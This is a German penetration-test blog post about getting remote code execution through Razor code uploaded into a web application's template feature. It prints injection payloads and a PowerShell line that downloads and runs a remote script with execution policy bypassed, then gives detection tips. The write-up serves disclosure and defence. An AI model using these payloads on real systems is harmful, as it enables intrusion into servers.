Ist die Geschäftskontinuität nicht Teil der Sicherheit?
Andrea Covello
Einige meiner Lieblingsblogartikel sind sehr kurz und haben nur einen Tipp oder Bypass drin. Dieser Artikel orientiert sich daran und beschreibt, wie ich in einem Penetration Test Remote Code Execution (RCE) auf einem aktuell gepatchten Windows Server mittels Razor Code erlangt habe.
Es ist ein Klassiker unter Schwachstellen, RCE durch File Upload: Man lädt einen serverseitig ausführbaren Code, wie z.B. ein PHP-Skript, hoch und ruft die Seite in der Hoffnung auf, dass der Server diesen ausführt. Dies wird jedoch in der Regel heutzutage nur noch selten gefunden und der Content-Disposition Header wird auch immer häufiger korrekt auf Content-Disposition: attachment; filename="foo.php"
gesetzt. Damit wird der Code, wäre es client-seitig ausführbarer Code, auch client-seitig nicht ausgeführt.
Bei einem der Web Application Penetration Tests fand ich allerdings einen Fall, der war etwas spezieller. Die Applikation hatte eine Möglichkeit, Dateien hochzuladen, welche anschliessend als Template verwendet werden. Die Designidee dahinter war, dass Firmen, die die Seite nutzen, gleichzeitig ihr CD-CI beibehalten können. Natürlich unterstützt die Seite HTML, dementsprechend auch JavaScript. Das damit gelieferte XSS war also weder eine Überraschung noch ein grosses Risiko, da jeder Kunde seine eigene Subdomain erhält.
In einem nächsten Schritt wollte ich testen, ob serverseitig Code ausgeführt wurde. Die Wahl fiel sofort auf .NET, da kein Hardening betrieben worden war und sämtliche Response Header .NET suggerierten – X-Powered-By: ASP.NET
, x-aspnetmvc-version
und x-aspnet-version
. Ein simpler PoC musste her:
<% PoCLabel.Text = “Alert!”; %> <!DOCTYPE html> <html> <head runat=“server”> <title>PoC</title> </head> <body> <form id=“form1” runat=“server”> <div> <asp:Label runat=“server” id=“PoCLabel”></asp:Label> </div> </form> </body> </html>
Doch dieser schlug fehl. Ein simples <
wurde nicht gefiltert – da HTML ja möglich sein musste – aber <@ schon.
Razor Code ist eine Möglichkeit, um sowohl C#, als auch VB Code in einem anderen Syntax zu schreiben. Wichtig für uns ist dabei, dass die Einleitung <@ entfällt, die von der Applikation gefiltert wird. Ein Beispiel und gleichzeitig Proof-of-Concept ist:
@DateTime.Now
Und es funktionierte. Die Seite, welche im Template gerendert wurde, zeigte die aktuelle Zeit des Servers an. Ich hatte definitiv Remote Code Execution. Andere gute PoCs sind:
@Decimal.Add(7, 7) @AppContext.BaseDirectory @Environment.MachineName
Um komfortabler Code ausführen zu können, wollte ich eine Reverse Shell haben. Die regulären Meterpreter Payloads unterstützen zwar ASP.NET, aber nicht in Razor Code. Eine weitere Möglichkeit wäre mittels PowerShell eine Reverse Shell zu starten. Eine kurze Suche nach exec for asp.net ergab System.Diagnostics.Process.Start. Mit dieser Funktion lassen sich Befehle in ASP.NET ausführen.
Weitere Gedanken zur Reverse Shell:
ByPass
und die offizielle Beschreibung lautet: “Nothing is blocked and there are no warnings or prompts.”
@System.Diagnostics.Process.Start(“powershell.exe”,”-ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString(‘http://url/scip.ps1’)”)
Die Applikation wurde noch am gleichen Tag des Reports mit einem funktionierenden Quickfix versehen. Die Entwickler haben diesen später durch einen besseren Fix ersetzt, da der Quickfix CSS brach.
Für diejenigen, die versuchen Angriffe zu detektieren: Dies hätte man bemerken können, indem man die Prozesse überwacht, die neu vom Serverprozess gespawnt werden. Alternativ könnte man auch PowerShell überwachen.
Eine weitere Möglichkeit wäre PowerShells Antimalware Scan Interface (AMSI). Antivirensoftware, die AMSI unterstützen, können auch PowerShell Skripte im RAM überprüfen. Momentan wird AMSI aber kaum im aktiven Einsatz beobachtet.
Unsere Spezialisten kontaktieren Sie gern!
Andrea Covello
Michèle Trebo
Lucie Hoffmann
Yann Santschi
Unsere Spezialisten kontaktieren Sie gern!